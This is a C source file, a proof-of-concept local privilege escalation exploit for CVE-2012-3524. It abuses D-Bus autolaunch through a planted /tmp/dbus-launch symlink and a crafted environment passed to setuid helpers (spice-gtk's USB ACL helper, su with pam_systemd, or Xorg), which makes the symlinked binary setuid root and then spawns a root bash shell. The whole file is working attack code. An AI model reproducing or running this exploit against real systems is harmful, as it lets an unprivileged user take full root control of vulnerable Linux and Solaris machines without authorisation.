/* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
 *
 * Trivial non-dbus root exploit. (Yes, it is 2012!)
 *
 * The underlying bug (insecure getenv() by default) has been
 * reported ages ago, but nobody really cared. Unless you have an
 * exploit...
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/stat.h>

int main(int argc, char **argv)
{
 int i = 0;
 struct stat st;
 pid_t pid = 0;
 char *env[] = {
     "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
     "DBUS_STARTER_BUS_TYPE=system",
     "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
     NULL,
     NULL
 };

 /* the pam_systemd vector */
 char *su[] = {"/bin/su", NULL, "blah", NULL};

 /* the spice vector */
 char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL};

 /* the Xorg vector, for older Linux dists and Solaris */
 char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL};

 char **a = xorg;
 char *dbus[] = {"/tmp/dbus-launch", NULL};
 char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
 char me[0x1000];

 if (geteuid() == 0 && argc > 1) {
  chown("/tmp/dbus-launch", 0, 0);
  chmod("/tmp/dbus-launch", 04755);
  exit(errno);
 } else if (geteuid() == 0) {
  setuid(0);
  execve(*sh, sh, NULL);
  return errno;
 }

 printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
 memset(me, 0, sizeof(me));

 if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
  /* Solaris */
  readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
 }
 symlink(me, "/tmp/dbus-launch");

 if (stat(spice[0], &st) == 0) {
  if ((st.st_mode & 04000) == 04000) {
   printf("[+] Using spice helper ...\n");
   a = spice;
  }
 } else if (stat("/lib64/security/pam_systemd.so", &st) == 0) {
  printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n");
  env[3] = "DISPLAY=:7350";
  su[1] = getenv("USER");
  a = su;
 } else if (stat(xorg[0], &st) == 0) {
  if ((st.st_mode & 04000) == 04000)
   printf("[+] Using Xorg helper ...\n");
  else {
   printf("[-] No suitable suid helper found.\n");
   exit(0);
  }
 } else {
  printf("[-] No suitable suid helper found.\n");
  exit(0);
 }

 if ((pid = fork()) == 0) {
  execve(*a, a, env);
  exit(0);
 }

 printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");

 for (i = 0; i < 10; ++i) {
  sleep(1);
  printf("."); fflush(stdout);
 }
 kill(pid, SIGKILL);
 waitpid(pid, NULL, 0);

 for (;;) {
  stat(*dbus, &st);
  if ((st.st_mode & 04755) == 04755)
   break;
  sleep(1);
 }
 printf("\n[!] Hurra!\n");

 execve(*dbus, dbus, NULL);
 return errno;
}